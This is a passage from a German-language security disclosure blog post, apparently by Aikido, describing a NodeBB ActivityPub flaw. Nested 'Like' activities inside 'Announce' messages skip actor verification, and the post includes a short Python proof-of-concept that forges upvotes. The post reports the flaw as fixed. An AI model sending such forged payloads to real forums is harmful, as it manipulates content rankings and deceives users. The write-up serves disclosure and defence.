middleware.assertPayload = helpers.try(async function (req, res, next) {
  ...
  let { actor } = req.body;

  const { hostname } = new URL(actor);
  const allowed = await activitypub.instances.isAllowed(hostname);

  await activitypub.actors.assert(actor);
  let compare = await db.getObjectsFields([
    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
  ], ['id']);
  compare = compare.reduce(...).replace(/#[\w-]+$/, '');

  if (compare !== keyId) {
    return res.sendStatus(403);
  }

Dies funktioniert hervorragend für den ersten Endpunkt, da dessen actor Eigenschaft verifiziert werden muss. Hier ist eine Beispielnachricht:

{
  "id": "https://nodebb.local/uid/42#activity/like/3",
  "type": "Like",
  "actor": "https://nodebb.local/uid/42",
  "to": ["https://www.w3.org/ns/activitystreams#Public"],
  "cc": ["https://nodebb.local/uid/7"],
  "object": "https://nodebb.local/post/3"
}

Das Format für eine „Announce“-Nachricht ist jedoch anders, das Like's actor ist in einem Objekt:

{
  "id": "https://nodebb.local/post/3#activity/announce/1717234567890",
  "type": "Announce",
  "actor": "https://nodebb.local/category/1",
  "to": ["https://nodebb.local/category/1/followers"],
  "cc": [
    "https://nodebb.local/uid/42",
    "https://www.w3.org/ns/activitystreams#Public"
  ],
  "object": {
    "id": "https://nodebb.local/uid/42#activity/like/3",
    "type": "Like",
    "actor": "https://nodebb.local/uid/42",
    "to": ["https://www.w3.org/ns/activitystreams#Public"],
    "cc": ["https://nodebb.local/uid/7"],
    "object": "https://nodebb.local/post/3"
  }
}

Da beide dieselbe assertPayload Middleware verwenden, wird der zweite Weg über das „Announce“-Format nicht verifiziert.. Das actor kann ein beliebiger zufälliger, eindeutiger String sein, um als neuer Benutzer zu fungieren. Hier wird der Wie Objekttyp erkannt und direkt verwendet object.actor in posts.upvote():

case object.type === 'Like': {
  const id = object.object.id || object.object;
  const { id: localId } = await activitypub.helpers.resolveLocalId(id);
  const exists = await posts.exists(localId || id);
  if (exists) {
    try {
      await activitypub.actors.assert(object.actor);
      const result = await posts.upvote(localId || id, object.actor);

Ein Angreifer kann wiederholt solche Anfragen senden, um die Anzahl der Upvotes für einen Beitrag stetig zu erhöhen, mit Tausenden pro Minute, um die Vertrauenswürdigkeit eines Beitrags vollständig aufzublähen.

POST_ID = 1  # Target post
payload = {
    'id': str(uuid.uuid4()),
    'type': 'Announce',
    'actor': 'https://nodebb.local/uid/999',
    'object': {
        'id': f'https://nodebb.local/object/{uuid.uuid4()}',
        'type': 'Like',
        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
        'object': f'https://nodebb.local/post/{POST_ID}'
    }
}
headers = {'Content-Type': 'application/activity+json',
           'Signature': 'keyId=""'}

r = requests.post('https://nodebb.local/category/1/inbox',
                  headers=headers, json=payload)

Dieses Problem wurde behoben (8e98325), indem der Signature-Header für POST-Anfragen immer verifiziert wird.

Fazit

Mit dem Aufkommen von KI nimmt die Geschwindigkeit von Pentests stetig zu. Man kann plötzlich eine Gruppe von 400 kleinen Pentestern engagieren, um die eigene Anwendung zum Preis eines regulären Pentests zu überprüfen. Entwickelnde können weiterhin schnell Code ausliefern, während KI-Pentest-Agenten mithalten und neue Funktionen auf Sicherheitsprobleme testen, selbst die kleinsten und komplexesten. Bei Aikido bieten wir AutoFixes und einfache Retests an, um bei der Behebung identifizierter Schwachstellen zu helfen.

NodeBB reagierte sehr schnell auf unseren Bericht, was wir sehr schätzten. Sie baten um Klärung einiger Punkte, und wir konnten Feedback zu den Korrekturen geben, um sicherzustellen, dass es keine trivialen Umgehungen gibt.

Eine letzte Erkenntnis. In diesem Pentest haben wir viele Schwachstellen in der ActivityPub-Implementierung festgestellt, und wir glauben, dass dies verallgemeinert und auf weitere Anwendungen angewendet werden kann. Immer wenn es mehrere Wege gibt, Dinge zu tun, ist der gängigste oder integrierte Weg oft stark gesichert, während der alternative Weg voller Fehler ist. Stellen Sie sicher, dass alle Ihre externen Integrationen und alternativen Routen genauso sicher sind wie Ihre Hauptrouten!

Unser KI-Penetrationstests-Tool hat dies eigenständig entdeckt. Wenn Sie hochwertige, schnelle Penetrationstests für Ihre Anwendung wünschen, sehen Sie sich Aikidos Pentesting-Suite an.

Teilen:

https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.